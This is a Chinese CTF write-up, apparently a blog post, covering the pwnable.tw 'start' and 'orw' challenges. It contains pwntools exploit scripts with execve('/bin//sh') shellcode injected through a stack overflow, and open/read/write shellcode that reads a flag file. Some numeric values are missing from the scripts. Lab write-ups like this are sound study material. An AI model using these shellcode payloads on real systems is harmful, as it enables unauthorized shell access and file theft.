pwnable.tw start&orw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz
1.start
比较简单的一个栈溢出,给出一个linux 0x80系统调用的参考网址,就决定是他了
参考之可以发现al=0x3执行sys_read时长度是0x3c*size_sz,栈的长度是0x14,明显的栈溢出。由于没有开启NX,所以直接在栈上布置shellcode即可。
需要注意的是:
虽然程序没有开启PIE,但是利用的话是需要绕过ASLR的;原因是ASLR只是不影响代码段和数据段的基址随机化,而我们布置的shellcode是在栈上,堆段和栈段是受系统ASLR影响的
脚本执行后shell没有回显可能是shellcode的问题,最好是自己写一个
给出脚本
from pwn import *
context.log_level='DEBUG'
r=remote('chall.pwnable.tw',)
r.recvuntil("Let's start the CTF:")
payload='a'*+p32(0x08048087)
r.send(payload)
esp=u32(r.recv())
success(hex(esp))
#r.recvuntil("Let's start the CTF:\n")
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload='a'*+p32(esp+)+shellcode
r.sendline(payload)
r.interactive()
2.orw
编写shellcode即可,参考上面给出的linux系统调用参考网址
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=remote('chall.pwnable.tw',)
p.recvuntil(':')
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;') #open(file,,)
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;') #read(,file,0x30)
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;') #write(,file,0x30)
p.sendline(shellcode)
print p.recv()
pwnable.tw start&orw的更多相关文章
- pwnable.tw orw
orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题
- pwnable.tw applestore
存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...
- pwnable.tw silver_bullet
产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...
- pwnable.tw hacknote
产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...
- pwnable.tw dubblesort
(留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...
- pwnable.tw calc
题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...
- 【pwnable.tw】 starbound
此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...
- Pwnable.tw start
Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...
- pwnable.tw unexploitable 分析
这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...
随机推荐
- 二 Array 数组常用操作方法
数组链接 Array 构造上的方法 一.Array.from() Array.from方法用于将两类对象转为真正的数组:类似数组的对象(array-like object)和可遍历(iterable) ...
- 制作H5像一个div中一张长图,里边是一条一条信息,需要点击的响应式方法
<style> .nav_box { margin-top: 20vh } .section1 .directory { margin-top: 4vh; position: relati ...
- ERP常见问题总结处理
1. ERP系统的重量录入组件设计不合理易导致录入错误 如下图所示: 修正方法: 1. 更正数据 使用SQL语句更正数据,已经生产完成,作为单据重新录入比较麻烦 UPDATE e_wms_materi ...
- JavaScript继承总结
1.创建对象 1.字面量对象 2.构造函数 3.Object.create //1.字面量 var obj={ name: '字面量', show: function(){ console.log(t ...
- jenkins针对不同的项目组对用户进行权限分配
因jenkins上存有de(开发).te(测试)等三个不同环境的项目,同时因为项目需求,需要对不同的开发及测试人员配置不同的jenkins权限,即以项目为单位,对不同人员进行不同权限配置,要求如下: ...
- ios端阻止页面滚动露底
转自 http://www.eboy.me/archives/129: 在IOS端的微信中使用H5页面,页面滑动到底部时,再向上拉或页面在顶部时下拉,总会露出微信自带的底色:总是会让人不爽. 以下是一 ...
- confluence6.x安装
一 简介 confluence是一个专业的企业知识管理与协同软件,可以用于构建企业wiki.通过它可以实现团队成员之间的协作和知识共享. 网上有关confluence的教程比较多,在此我们以confl ...
- 学习STM32F769DK-OTA例程之APP中断向量表重映射
2019-04-17 [小记] APP的IAR工程中的中断向量表偏移是在系统库中的 __iar_program_start 处实现的 启动代码 stm32f769xx.s ;;;;;;;;;;;;;; ...
- 集合源码分析[2]-AbstractList 源码分析
AbstractList 类型:抽象类 接口的继承以及实现关系 继承AbstractCollection 实现List接口 典型方法实现解析 public List<E> subList( ...
- GraphQL
GraphQL 官方描述: GraphQL 既是一种用于 API 的查询语言也是一个满足你数据查询的运行时. GraphQL 对你的 API 中的数据提供了一套易于理解的完整描述,使得客户端能够准确地 ...